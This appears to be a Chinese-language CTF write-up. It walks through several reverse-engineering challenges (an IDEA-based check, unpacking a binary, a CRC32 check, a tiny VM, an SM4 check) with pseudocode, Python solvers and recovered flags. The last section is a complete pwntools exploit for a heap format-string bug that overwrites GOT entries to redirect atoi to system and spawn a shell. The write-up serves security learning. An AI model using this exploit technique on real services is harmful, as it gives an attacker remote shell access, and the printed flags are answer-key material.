signed __int64 __fastcallcheck_1E84(const char *a1, int a2)
{
int v3; // [rsp+4h] [rbp-13Ch]
int i; // [rsp+18h] [rbp-128h]
int j; // [rsp+18h] [rbp-128h]
int k; // [rsp+18h] [rbp-128h]
char v7; // [rsp+20h] [rbp-120h]
unsigned __int64 v8; // [rsp+128h][rbp-18h]
v8 = __readfsqword(0x28u);
memset(&v7, 0, 0x100uLL);
if ( a2 % 8 )
{
for ( i = 0; 8 - a2 % 8 > i;++i )
a1[a2 + i] = -35;
a1[a2 + i] = 0;
}
v3 = strlen(a1);
for ( j = 0; v3 / 8 > j; ++j )
encryt_1CFF((char *)&a1[8 *j], 8); // 6 group 8 bytes
for ( k = 0; k < v3; ++k )
{
if ( ((0x77 - k) ^ (unsigned__int8)a1[k]) != byte_203040[k] )
return 0xFFFFFFFFLL;
}
return 1LL;
}
__int64 __fastcall encryt_1CFF(char *a1, signed int a2)
{
__int64 result; // rax
unsigned __int8 i; // [rsp+1Fh][rbp-41h]
unsigned __int8 j; // [rsp+1Fh][rbp-41h]
unsigned __int64 v5; // [rsp+20h][rbp-40h]
__int64 v6; // [rsp+28h] [rbp-38h]
char s[16]; // [rsp+30h] [rbp-30h]
unsigned __int64 v8; // [rsp+48h][rbp-18h]
v8 = __readfsqword(0x28u);
v5 = 0LL;
v6 = 0LL;
*(_QWORD *)s = 0LL;
*(_QWORD *)&s[8] = 0LL;
gen_key_1BAC();
for ( i = 0; i < a2; ++i )
{
s[2 * i] = hex_1AAD((unsigned__int8)a1[i] >> 4);
s[2 * i + 1] = hex_1AAD(a1[i]& 0xF);
}
__isoc99_sscanf(s,"%016llx", &v5);
en_CCE(v5,(__int64)random_hex_203090, &v6);
sprintf(s, "%016llx",v6);
for ( j = 0; ; ++j )
{
result = j;
if ( j >= a2 )
break;
a1[j] = unhex_1AFE(&s[2 *j]);
a1[j] ^= 8 - j;
}
return result;
}
__int64 __fastcall sub_CCE(unsigned __int64 a1, __int64 a2, _QWORD *a3)
{
_QWORD *v4; // [rsp+8h] [rbp-C8h]
signed int i; // [rsp+24h][rbp-ACh]
signed int j; // [rsp+24h][rbp-ACh]
signed int l; // [rsp+24h][rbp-ACh]
signed int k; // [rsp+28h][rbp-A8h]
unsigned int v9; // [rsp+2Ch][rbp-A4h]
__int16 v10[8]; // [rsp+30h][rbp-A0h]
_WORD v11[4]; // [rsp+40h][rbp-90h]
char v12[96]; // [rsp+50h][rbp-80h]
unsigned __int16 v13; // [rsp+B0h][rbp-20h]
__int16 v14; // [rsp+B2h][rbp-1Eh]
__int16 v15; // [rsp+B4h][rbp-1Ch]
unsigned __int16 v16; // [rsp+B6h][rbp-1Ah]
unsigned __int64 v17; // [rsp+B8h][rbp-18h]
v4 = a3;
v17 = __readfsqword(0x28u);
for ( i = 0; i <= 3; ++i )
v10[i] = a1 >> 16 * (3 -(unsigned __int8)i);
v9 = sub_1430((_WORD *)a2, v12);
for ( j = 0; j <= 7; ++j )
{
sub_118A((unsigned __int16*)v10, (unsigned __int16 *)&v12[12 * j], v11);
for ( k = 0; k <= 3; ++k )
v10[k] = v11[k];
}
swap_B37(&v11[1],&v11[2]);
v11[0] = mul_A46(v11[0], v13);
v11[1] = add_9F5(v11[1], v14);
v11[2] = add_9F5(v11[2], v15);
v11[3] = mul_A46(v11[3], v16);
*v4 = v11[0];
for ( l = 1; l <= 3; ++l )
*v4 = (unsigned __int16)v11[l] |(*v4 << 16);
return v9;
}
通过加密函数的分组、及具体算法里的swap,mul,add我操作,看出是idea算法。
直接dump伪随机数生成的固定key(hex):18fe9c970a7296f5c2fdeeae147592aa
通过简单异或得到目标加密串。
a='D0E0AB9CCD785B543DE4EA3351446D3C4ECEDFB541001CECE31BC38C91257F1B60FE359CEA044C878D97935CB89A7075'.decode('hex')
>>> s=''
>>> for i in range(48):
... s += chr(ord(a[i])^(0x77-i))
...
>>> s.encode('hex')
'a796dee8be0a2a24528a875f3a2e045429a8bad122627d8cbc459ed0ca7f264337a860c8b9561dd7c2d9de10f3d0393d'
>>> s1=''
>>> for i in range(48):
... s1 += chr(ord(s[i])^(8-(i%8)))
...
>>> s1.encode('hex')
'af91d8edba0928255a8d815a3e2d065521afbcd426617f8db44298d5ce7c24423faf66cdbd551fd6caded815f7d33b3c'
直接用工具解密得到flag(去除尾部补位):
flag{f53fc1db-b7d3-4643-9b48-725f13129d07}
还是直接静态分析,有壳,不过壳比较简单,简单跟下,对照静态分析,发现OEP跳转位置。
.nsp1:0040640C popa
.nsp1:0040640D popf
.nsp1:0040640E jmp near ptr byte_401939
去除动态基地直接在40640E 下断,f8,dump,利用偏移2000 处API地址修复IAT,脱壳完成。
主要伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
char v5; // [esp+1h] [ebp-55h]
char Buf[44]; // [esp+2h][ebp-54h]
Buf[0] = 0;
memset(&Buf[1], 0, 0x4Fu);
puts("Input Flag");
v3 = _iob_func();
fgets(Buf, 44, v3);
if ( Buf[42] != 10 )
return -1;
Buf[43] = 0;
*(&v5 + strlen(Buf)) = 0;
if ( strlen(Buf) != 42 )
return -1;
if ( check_401380((int)Buf, 42) ==1 )
printf("Right!n");
return 0;
}
int __fastcall check_401380(int a1, int a2)
{
int num; // ebx
_BYTE *input; // esi
void *heap1; // ebx
_BYTE *heap2; // edi
int v7; // ecx
void *v8; // ST14_4
void (__cdecl *v9)(void *); // ebx
int v10; // edx
signed int v11; // eax
signed int v12; // esi
unsigned int v13; // ecx
int input_1; // [esp+8h][ebp-5CCh]
int num1; // [esp+Ch] [ebp-5C8h]
int num1a; // [esp+Ch] [ebp-5C8h]
char s2; // [esp+13h] [ebp-5C1h]
char s3; // [esp+14h] [ebp-5C0h]
char s4; // [esp+15h] [ebp-5BFh]
char s1; // [esp+16h] [ebp-5BEh]
char s5; // [esp+17h] [ebp-5BDh]
char v22; // [esp+18h] [ebp-5BCh]
char v23[729]; // [esp+2F4h][ebp-2E0h]
num = a2;
input = (_BYTE *)a1;
num1 = a2;
input_1 = a1;
dword_4033CC = GetTickCount();
if ( format_check_401320(input, num) != 1) // flag{
// idx 13 18 23 28 为_
return -1;
random_str_84_401280();
heap1 = malloc(0x100u);
heap2 = malloc(0x100u);
memset(heap1, 0, 0x100u);
memset(heap2, 0, 0x100u);
hex_4012C0((int)heap1, input_1,num1);
GetTickCount();
sub_401000(v23, &v22);
sub_401170((int)heap2, (const char*)heap1, v7, (int)v23, (int)&v22);
v8 = heap1;
v9 = free;
free(v8);
GetTickCount();
s1 = heap2[7];
s2 = heap2[23];
s3 = heap2[39];
s4 = heap2[55];
s5 = heap2[71];
num1a = 2 * num1;
if ( num1a <= 0 )
{
LABEL_11:
v9(heap2);
v13 = (dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)
(LOBYTE(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned__int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned__int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)] ^((dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned__int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)] ^((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >>8)) >> 8)) >> 8;
return 2
* (~(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned__int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned__int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^s4)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned__int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned__int8)~s1]) >> 8) ^ s3)]) ^ ((dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8))>> 8) ^ s5)] ^ v13) == 0x9D945A6E)
- 1;
}
v10 = num1a;
v11 = 0xCC;
v12 = 7;
while ( v11 - 0xCC == v12 )
{
v12 += 16;
LABEL_9:
if ( ++v11 - 0xCC >= v10 )
{
v9 = free;
goto LABEL_11;
}
}
if ( *((unsigned __int8*)&dword_402160[-51] + v11) == (v11 % 256 ^ (char)heap2[v11 - 0xCC]) )
{
v10 = num1a;
goto LABEL_9;
}
free(heap2);
return -1;
}
更多代码就不上了。算法比较简单,除了CRC32 hash,也没有通用加密算法。
先是格式检查,前5字节为:
>>> print ''.join([chr(i^0x99) for i in [0xFF, 0xF5, 0xF8,0xFE, 0xE2]])
flag{
42bytes输入字串index 为 13 18 23 28 处的字符是 _ 。
然后生成三张表,其中一张是通过伪随机数生成。对输入hex并进行简单置换。得到84bytes的字串,最后异或比较79bytes,其余5bytes通过crc32校验,5bytes中其中有1字节是由 { 的低4位生成,值已确定,众所周知,通过最后4bytes能更改到任何crc32值,所以crc32只能确定唯一的4byte。
虽然以前做gslab把crc32其及4byte逆推都做了查表实现,为了简化代码,crc32部分只能跑一下了。代码如下:
import string
from zlib import crc32
table1 = 'GHIJKLMNOPQRSTUV'
table2 = 'sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln'
table3 = string.lowercase
table4 = 'GHIJKLMNOP1234567890'
str_t = [
0x81, 0x80, 0x83, 0xBA,0x9D, 0x99, 0x9F, 0x00,
0x9A, 0xAC, 0x9C, 0x9B,0x92, 0x92, 0x97, 0x96,
0x96, 0x8D, 0x94, 0x94, 0xAA,0xAC, 0xAF, 0x00,
0xAE, 0xA9, 0xAF, 0x81,0xA5, 0xA4, 0xA0, 0xBB,
0xA6, 0xA1, 0xA3, 0xA7,0xB9, 0x89, 0xB8, 0x00,
0xB9, 0xBD, 0xBC, 0xB0,0xB5, 0xB1, 0xB3, 0x8A,
0xB1, 0xB4, 0xB3, 0xB7,0x4A, 0x4B, 0x48, 0x00,
0x4D, 0x73, 0x4C, 0x49, 0x45, 0x40, 0x40,0x43,
0x46, 0x43, 0x44, 0x47,0x5D, 0x59, 0x58, 0x00,
0x59, 0x59, 0x5B, 0x5D,0x55, 0x51, 0x50, 0x54,
0x56, 0x54, 0x50, 0x7A]
str_s = ''
l = 'NMKHN'
count = 0
for i in range(84):
if i%16 != 7:
str_s +=chr(str_t[i]^((0xcc+i)%256))
else:
str_s += l[count]
count += 1
print str_s
str_s_s = ''
count = 0
for i in str_s:
if i == '-':
str_s_s += '-'
elif i.islower():
c = ord(table2[count]) - 0x61
c1 =(table3[c:]+table3[:c]).index(i)
str_s_s += table3[c1]
count += 1
else:
str_s_s += str(table1.index(i))
print str_s_s
#for i1 in table4:
# for i2 in table4:
# for i3 in table4:
# for i4 in table4:
# if crc32(('N'+i1+i2+i3)+i4)&0xffffffff== 0x9D945A6E:
# print i1+i2+i3+i4
#MKHN
最终flag为:flag{12345678-1234-1234-1234-1234567890ab}
0040817C .- E9 F398FFFF jmp Explain.00401A74
int __cdecl main(int argc, const char **argv, const char **envp)
{
gen_vmcode_401000();
run_vm_code_401410();
free(heap1);
free(vm_code_403368);
return 0;
}
此题是简单的VM题。做题过程中,作了简单的记录,记录不全,将就看吧。
22 heap1[data] = getchar 3 data<0x1000
23 word_403374[data] = getchar 2 data <4
24 heap1[word_403374[data]] = getchar 2 data <4
25 putchar heap1(data) 3 data <0x1000
26 putchar word_403374[data] 2 data <4
27 putchar heap1(word_403374[data]) 2 data <4
29 word_403374[data_0] = data1_2 4 data0 <4
2b heap1[data0_1] = data_2 4 data1_2<0x1000
2c word_403374[data_0] eq word_403374[data_1] 3 data <4
2e 3 data<4
2f heap1[word_403374[data_0]] eq heap1[word_403374[data_1]] 3 data<4
2d word_403374[data_0] eq data1_2 4 data<4
31 word_403374[data_0] += data_1_2 4 data_0 <4
38 heap1[word_403374[data_0]] ^= data_1_2 4 data_0 <4
39 heap1[word_403374[data_0]] ^= word_403374[data_1] 3 data<4
3a vm_off_403370 = data_0_1 3 data<0x1000
3b 3 data <0x1000
3c vm_off_403370 = data_0_1 3 data<0x1000
3e ret == 1
heap1[A0] = target_str
reg0 60
reg1 00
loop1:
heap1[60] = getchar
reg0 + 1 = 61
reg1 + 1 = 1
reg1 == 23? ne goto loop1 off = ac
reg0 60
reg1 0
loop2:
heap1[60]^reg1 input
reg0++
reg1++
reg1 == 23 ? ne goto loop2 off=c5
reg0 60
reg1 a0
reg2 00
heap[reg0] == heap[reg1] ?
off = 11a
reg0 = 40
reg1 = 00
heap[reg0] ^= dd
putchar heap[reg0]
reg0++
reg1++
reg1 ==2 ? off=104
heap[reg0] ^= dd
VM代码有部分解析没记录,大概流程能看出来
就是先初始化目标校验字串,然后输入35字节,并将其与自身index异或,最后与目标字串比较校验。然后打印结果。
>>>a=[0x66,0x6D,0x63,0x64,0x7F,0x51,0x6E,0x36,0x7B,0x56,0x3B,0x78,0x53,0x59,0x67,0x41,0x69,0x4E,0x44,0x7A,0x66,0x61,0x43,0x56,0x29,0x46,0x57,0x7A,0x7F,0x55,0x77,0x71,0x45,0x00,0x5F]
>>> s=''
>>> for i in range(len(a)):
... s+=chr(a[i]^i)
...
>>> s
'flag{Th1s_1s_TiNy_VirtUA1_MacHine!}'
做了icm,ccm,再做到这题也没什么了。大概流程相同。输入为42bytes。然后进行分组加密,最后进行异或并与常量串校验。
至于加密算法,很容易就能看出,国密4,因为算法没有进行过任何更改,所以SBOX,FK等都没有变,直接能对应上加密算法。
异或得到加密串:
>>> st = [
... 0xF4, 0x88, 0x91, 0xC2,0x9B, 0x20, 0x5B, 0x03,
... 0xF1, 0xED, 0xF6, 0x13,0x46, 0x3C, 0x55, 0x81,
... 0x61, 0x0F, 0xFF, 0x14,0x6E, 0x1C, 0x48, 0x28,
... 0x79, 0x9F, 0x85, 0xAF,0xC5, 0x58, 0x0D, 0xD6,
... 0xA5, 0xD9, 0x64, 0xFD,0x46, 0x09, 0x8C, 0xDF,
... 0x3B, 0xA5, 0x37, 0x62,0x5A, 0xA6, 0xD2, 0x4B]
>>>
... ss = ''
>>> for i in range(len(st)):
... ss += chr(st[i]^(51+i))
...
>>> print ss.encode('hex')
c7bca4f4ac186239cad1cb2d797c14c3224bba522954016232d3c8e18a085c84f68d31ab1151d58560f96a3c05c6b329
>>>
密钥为伪随机数生成的固定钥,
dump:DA98F1DA312AB753A5703A0BFD290DD6
直接工具解密得到:flag{e4435341-401a-4bc4-96c1-eadf1951d904}
此题是借助堆的格式化漏洞利用题。 在角色建立时,只有2角色是先分配存储name 的堆,后分配存储格式化串的堆。而角色1在写格式化串时有个选择,如果不为1或2则不写格式化串。
利用思路就是先创建角色2,name 处写上格式化串,删除,再创建角色1,并不写格式化串。这时角色1的格式化串就是角色2时写的name。因为free再分配堆时还有转large bin的过程。所以name的前16字节会被覆盖,格式化串要偏移16字节。
剩下的就是格式化的利用了。不多说,主要是改atoi 调用为system 调用。因为此函数一直调用,所以需要中转下,最后一步再让其跳转到system。直接看exp代码。
#!/usr/bin/env python
from pwn import *
def fmt(fmtstr,debug=False):
global p
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('Kerrigann')
p.sendline('2')
p.recvuntil('name: ')
p.sendline("0"*16+fmtstr)
if (debug):
gdb.attach(p,'b *0x804884C')
delete(0)
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('Kerrigann')
p.sendline('1')
p.recvuntil('name: ')
p.sendline('B'*8)
p.recvuntil("StimPackn")
p.sendline('3')
p.recvuntil('exitn')
p.sendline('2')
def j_fmt(fmtstr):
global p
fmt(fmtstr)
p.recvuntil('do?')
delete(0)
def delete(idx):
global p
p.recvuntil('exitn')
p.sendline('3')
p.recvuntil("delete?n")
p.sendline(str(idx))
def pwn():
global p
system_off = 0x3a940
libc_main_ret_off = 0x18637
# system_off = 0x40310
# libc_main_ret_off = 0x19af3
setb_got_plt = 0x804B00C
setb_plt = 0x80484d0
atoi_got_plt = 0x804B038
fmt('%213$xDEADBEEF',debug=False)
p.recv(16)
ret =p.recvuntil('DEADBEEF')[:-8]
ret_addr = int(ret,16)
system_addr = ret_addr -libc_main_ret_off+ system_off
sys_l = system_addr&0xffff
sys_h = system_addr >> 16
raw_input('?')
delete(0)
fmtstr_addr = '%%%dc%%204$nx00'
fmtstr_val1 ='%%%dc%%212$hnx00'
fmtstr_val2 = '%%%dc%%212$nx00'
fmtstr =fmtstr_addr%(setb_got_plt-0x10)
j_fmt(fmtstr)
fmtstr =fmtstr_val1%(sys_l-0x10)
j_fmt(fmtstr)
fmtstr =fmtstr_addr%(setb_got_plt-0x10+2)
j_fmt(fmtstr)
fmtstr =fmtstr_val1%(sys_h-0x10)
j_fmt(fmtstr)
fmtstr =fmtstr_addr%(atoi_got_plt-0x10)
j_fmt(fmtstr)
fmt(fmtstr_val2%(setb_plt-0x10))
p.recvuntil('exitn')
p.sendline("/bin/sh")
p.interactive()
if __name__ == '__main__':
context.arch = 'i386'
# libc = ELF('./libc.so.6')
if len(sys.argv) < 2:
# p =process('./babyheap',env ={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc-2.19.so'})
p = process('./pwn4')
context.log_level ='debug'
else:
p = remote(sys.argv[1],int(sys.argv[2]))
context.log_level = 'debug'
# context.log_level ='debug'
pwn()